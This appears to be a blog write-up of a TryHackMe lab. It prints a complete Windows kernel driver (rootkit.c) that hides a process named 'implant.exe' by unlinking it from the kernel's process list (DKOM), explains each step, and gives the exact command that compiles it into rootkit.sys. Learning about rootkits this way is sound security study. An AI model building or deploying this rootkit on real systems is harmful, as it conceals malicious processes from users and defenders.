TryHackMe - Kernel Blackout CFT

 



1. Script Explanation (rootkit.c)


Script :

#include <ntddk.h>

// Offsets for Windows 10 x64 (Version 19041 - THM Lab) #define LINKS_OFFSET 0x2e8 // ActiveProcessLinks #define NAME_OFFSET 0x450 // ImageFileName

void DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Driver Unloaded. Note: Hidden processes remain hidden!\n"); }

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

// Start iterating from the System process

PEPROCESS CurrentProcess = PsInitialSystemProcess;

PLIST_ENTRY CurrentListEntry;

char* imageName;

BOOLEAN found = FALSE;


DbgPrint("Searching for implant.exe to hide it...\n");


// Loop through the process list (limit to 1000 to avoid hangs)

for (int i = 0; i < 1000; i++) {

    imageName = (char*)CurrentProcess + NAME_OFFSET;


    // Check if this is our target process

    if (strstr(imageName, "implant.exe")) {

        DbgPrint("Found target: %s. Unlinking now...\n", imageName);


        // Get the list entry for the current process

        CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);


        // DKOM: Remove the process from the list by pointing 

        // the neighbors' links to each other, skipping the current one.

        CurrentListEntry->Blink->Flink = CurrentListEntry->Flink;

        CurrentListEntry->Flink->Blink = CurrentListEntry->Blink;


        // Point the hidden process's links to itself 

        // to prevent system crashes during cleanup.

        CurrentListEntry->Flink = CurrentListEntry;

        CurrentListEntry->Blink = CurrentListEntry;


        found = TRUE;

        DbgPrint("Process implant.exe is now hidden from Task Manager.\n");

        break;

    }


    // Move to the next EPROCESS structure in the list

    CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);

    CurrentProcess = (PEPROCESS)((char*)CurrentListEntry->Flink - LINKS_OFFSET);


    // If we wrapped around back to System, stop

    if (CurrentProcess == PsInitialSystemProcess) break;

}


if (!found) {

    DbgPrint("Could not find implant.exe. Is it running?\n");

}


return STATUS_SUCCESS;


}

The goal of this script is DKOM (Direct Kernel Object Manipulation). It finds a specific process in the kernel's memory and "unlinks" it from the list that Windows uses to display running programs.

The Headers and Offsets

  • #include <ntddk.h>: This is the "Windows Driver Kit" header. It contains all the definitions and functions needed to talk to the Windows Kernel.

  • LINKS_OFFSET (0x2e8): In Windows, every process is represented by a structure called EPROCESS. This offset is the exact location inside that structure where the ActiveProcessLinks are stored. These links are pointers to the Next and Previous processes.

  • NAME_OFFSET (0x450): This is the location inside EPROCESS where the process name (like implant.exe) is stored as a string.

The Functions

  • DriverUnload: This allows you to stop the driver. Without this, the driver stays in the kernel until you restart the computer.

  • DriverEntry: This is the "Main" function for drivers. It runs the moment the driver is loaded.

The Logic (The Loop)

  1. Starting Point: It starts at PsInitialSystemProcess, which is always the "System" process (PID 4).

  2. The Search: It loops through the list of processes one by one.

  3. The Match: It checks the name at NAME_OFFSET. We use strstr to see if "implant.exe" is part of that name.

  4. The "Unlinking" (The Trick):

    • In a doubly-linked list, Process A points to B, and B points to C.

    • To hide Process B, we tell A to point directly to C, and C to point directly to A.

    • CurrentListEntry->Blink->Flink = CurrentListEntry->Flink; (Previous process now points to the next one).

    • CurrentListEntry->Flink->Blink = CurrentListEntry->Blink; (Next process now points to the previous one).

  5. Safety: We point the hidden process's links to itself. This prevents the system from crashing if it ever tries to look at that specific process's pointers.






2. Command Line Explanation

The command you run in the x64 Native Tools Command Prompt is quite long because it needs to tell the compiler exactly how to build a "Kernel-Mode" file instead of a normal "User-Mode" .exe.

The Command:

DOS
cl /W4 /D_AMD64_ /D_WIN64 /D_KERNEL_MODE rootkit.c /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\km" /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared" /link /driver /entry:DriverEntry /subsystem:native /out:rootkit.sys "C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\km\x64\ntoskrnl.lib"

Breakdown of Flags:

  • cl: The Microsoft C/C++ Compiler.

  • /W4: Sets the warning level to high (good for catching errors).

  • /D_AMD64_ /D_WIN64: Tells the compiler we are building for a 64-bit system.

  • /D_KERNEL_MODE: Tells the compiler this code will run inside the Kernel.

  • /I[...]: "Include" paths. This tells the compiler where to find the header files (ntddk.h).

  • /link: Passes the following arguments to the Linker (the tool that packages the code).

  • /driver: Tells the linker to create a .sys driver file.

  • /entry:DriverEntry: Defines the starting point of the driver (our DriverEntry function).

  • /subsystem:native: Drivers don't use Windows UI; they are "native" to the kernel.

  • /out:rootkit.sys: The name of the final file.

  • ntoskrnl.lib: This is the library that contains the actual code for kernel functions like PsInitialSystemProcess.

Comments

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

TryHackMe - Threat Hunting Simulator - Health Hazard

TryHackmMe Side Quest AOC 2025 - Scheme Catcher (Insane Level)